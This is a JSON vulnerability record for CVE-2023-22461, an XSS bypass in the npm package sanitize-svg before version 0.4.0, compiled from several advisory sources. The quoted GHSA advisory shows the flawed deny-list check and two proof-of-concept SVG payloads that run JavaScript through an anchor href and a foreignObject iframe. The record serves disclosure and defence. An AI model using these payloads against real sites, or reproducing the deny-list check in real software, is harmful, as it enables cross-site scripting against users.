{"id":"CVE-2023-22461","aliases":["EUVD-2023-0483","GHSA-h857-2g56-468g"],"status":"published","title":"sanitize-svg Filter Bypass Allows Cross-Site Scripting (XSS)","description":"The `sanitize-svg` package, a small SVG sanitizer to prevent cross-site scripting attacks, uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal `\u003cscript\u003e`-tags and on-event handlers were detected in versions prior to 0.4.0. As a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to cross-site scripting. This vulnerability was addressed in v0.4.0. There are no known workarounds","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0061,"percentile":0.49538,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79","CWE-80"],"published":"2023-01-04T14:57:04Z","modified":"2026-10-28T02:30:44Z","fixes":[{"ecosystem":"npm","package":"@mattkrick/sanitize-svg","fixed_in":["0.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@mattkrick/sanitize-svg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.3.1"},{"fixed":"0.4.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@mattkrick/sanitize-svg","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.0"}]}]}],"products":[{"vendor":"mattkrick","product":"sanitize-svg"},{"vendor":"sanitize-svg_project","product":"sanitize-svg"}],"references":[{"url":"https://github.com/mattkrick/sanitize-svg/security/advisories/GHSA-h857-2g56-468g","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/mattkrick/sanitize-svg/commit/b107e453ede7b58adcccae74a3e474c012eec85d","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-22461","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h857-2g56-468g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/22xxx/CVE-2023-22461.json","tags":["advisory"]},{"url":"https://github.com/mattkrick/sanitize-svg","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-22461","title":"sanitize-svg Filter Bypass Allows Cross-Site Scripting (XSS)","description":"The `sanitize-svg` package, a small SVG sanitizer to prevent cross-site scripting attacks, uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal `\u003cscript\u003e`-tags and on-event handlers were detected in versions prior to 0.4.0. As a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to cross-site scripting. This vulnerability was addressed in v0.4.0. There are no known workarounds\n\n","status":"published","published":"2023-01-04T14:57:04.902Z","modified":"2025-03-10T21:33:03.572Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79","CWE-80"],"updated_at":"2026-11-02T14:35:15.779187Z"}],"euvd":[{"id":"EUVD-2023-0483","description":"The `sanitize-svg` package, a small SVG sanitizer to prevent cross-site scripting attacks, uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal `\u003cscript\u003e`-tags and on-event handlers were detected in versions prior to 0.4.0. As a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to cross-site scripting. This vulnerability was addressed in v0.4.0. There are no known workarounds\n\n","status":"published","published":"2023-01-04T14:57:04Z","modified":"2025-03-10T21:33:03Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T20:53:08.584552Z"}],"ghsa":[{"id":"GHSA-h857-2g56-468g","title":"@mattkrick/sanitize-svg vulnerable to Cross-Site Scripting (XSS)","description":"### Impact\nThe *sanitize-svg* package uses a deny-list-pattern to sanitize SVGs to prevent cross-site scripting (XSS). In doing so, literal `\u003cscript\u003e`-tags and on-event handlers were detected:\n```typescript\n[...]\n  const svgEl = div.firstElementChild!\n  const attributes = Array.from(svgEl.attributes).map(({ name }) =\u003e name)\n  const hasScriptAttr = !!attributes.find((attr) =\u003e attr.startsWith('on'))\n  const scripts = svgEl.getElementsByTagName('script')\n  return scripts.length === 0 \u0026\u0026 !hasScriptAttr ? svg : null\n[...]\n```\n\nThere are more ways to embed JavaScript in XML files.\n\n**Anchor Tag** (requires user to click link):\n```xml\n\u003csvg viewBox=\"0 0 100 100\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003ca href=\"javascript:alert(document.domain)\"\u003e\n    \u003ctext x=\"50\" y=\"50\" text-anchor=\"middle\"\u003eLauritz\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n**Foreign Object Tag** (no user interaction required):\n```xml\n\u003csvg width=\"500\" height=\"500\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n        \u003ctext x=\"20\" y=\"35\"\u003eLauritz\u003c/text\u003e\n        \u003cforeignObject width=\"500\" height=\"500\"\u003e\n                \u003ciframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:confirm(document.domain);\" width=\"400\" height=\"250\"/\u003e\n        \u003c/foreignObject\u003e\n\u003c/svg\u003e\n```\n\nAs a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications. \n\n### Patches\nThis vulnerability was addressed in v0.4.0.\n\n### Workarounds\nN/A","status":"published","published":"2023-01-05T12:18:35Z","modified":"2023-01-29T05:01:18Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:25.064927Z"}],"nvd":[{"id":"CVE-2023-22461","description":"The `sanitize-svg` package, a small SVG sanitizer to prevent cross-site scripting attacks, uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal `\u003cscript\u003e`-tags and on-event handlers were detected in versions prior to 0.4.0. As a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to cross-site scripting. This vulnerability was addressed in v0.4.0. There are no known workarounds\n\n","status":"published","published":"2023-01-04T15:15:09.51Z","modified":"2026-06-17T05:35:30.2Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79","CWE-80"],"updated_at":"2026-11-02T14:07:45.305824Z"}],"osv":[{"id":"CVE-2023-22461","title":"sanitize-svg Filter Bypass Allows Cross-Site Scripting (XSS)","description":"The `sanitize-svg` package, a small SVG sanitizer to prevent cross-site scripting attacks, uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal `\u003cscript\u003e`-tags and on-event handlers were detected in versions prior to 0.4.0. As a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to cross-site scripting. This vulnerability was addressed in v0.4.0. There are no known workarounds\n\n","status":"published","published":"2023-01-04T14:57:04.902Z","modified":"2026-10-28T02:30:44.771188485Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79","CWE-80"],"updated_at":"2026-11-02T15:44:30.334753Z"},{"id":"GHSA-h857-2g56-468g","title":"@mattkrick/sanitize-svg vulnerable to Cross-Site Scripting (XSS)","description":"### Impact\nThe *sanitize-svg* package uses a deny-list-pattern to sanitize SVGs to prevent cross-site scripting (XSS). In doing so, literal `\u003cscript\u003e`-tags and on-event handlers were detected:\n```typescript\n[...]\n  const svgEl = div.firstElementChild!\n  const attributes = Array.from(svgEl.attributes).map(({ name }) =\u003e name)\n  const hasScriptAttr = !!attributes.find((attr) =\u003e attr.startsWith('on'))\n  const scripts = svgEl.getElementsByTagName('script')\n  return scripts.length === 0 \u0026\u0026 !hasScriptAttr ? svg : null\n[...]\n```\n\nThere are more ways to embed JavaScript in XML files.\n\n**Anchor Tag** (requires user to click link):\n```xml\n\u003csvg viewBox=\"0 0 100 100\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003ca href=\"javascript:alert(document.domain)\"\u003e\n    \u003ctext x=\"50\" y=\"50\" text-anchor=\"middle\"\u003eLauritz\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n**Foreign Object Tag** (no user interaction required):\n```xml\n\u003csvg width=\"500\" height=\"500\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n        \u003ctext x=\"20\" y=\"35\"\u003eLauritz\u003c/text\u003e\n        \u003cforeignObject width=\"500\" height=\"500\"\u003e\n                \u003ciframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:confirm(document.domain);\" width=\"400\" height=\"250\"/\u003e\n        \u003c/foreignObject\u003e\n\u003c/svg\u003e\n```\n\nAs a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications. \n\n### Patches\nThis vulnerability was addressed in v0.4.0.\n\n### Workarounds\nN/A","status":"published","published":"2023-01-05T12:18:35Z","modified":"2023-11-08T04:11:35.614154Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}
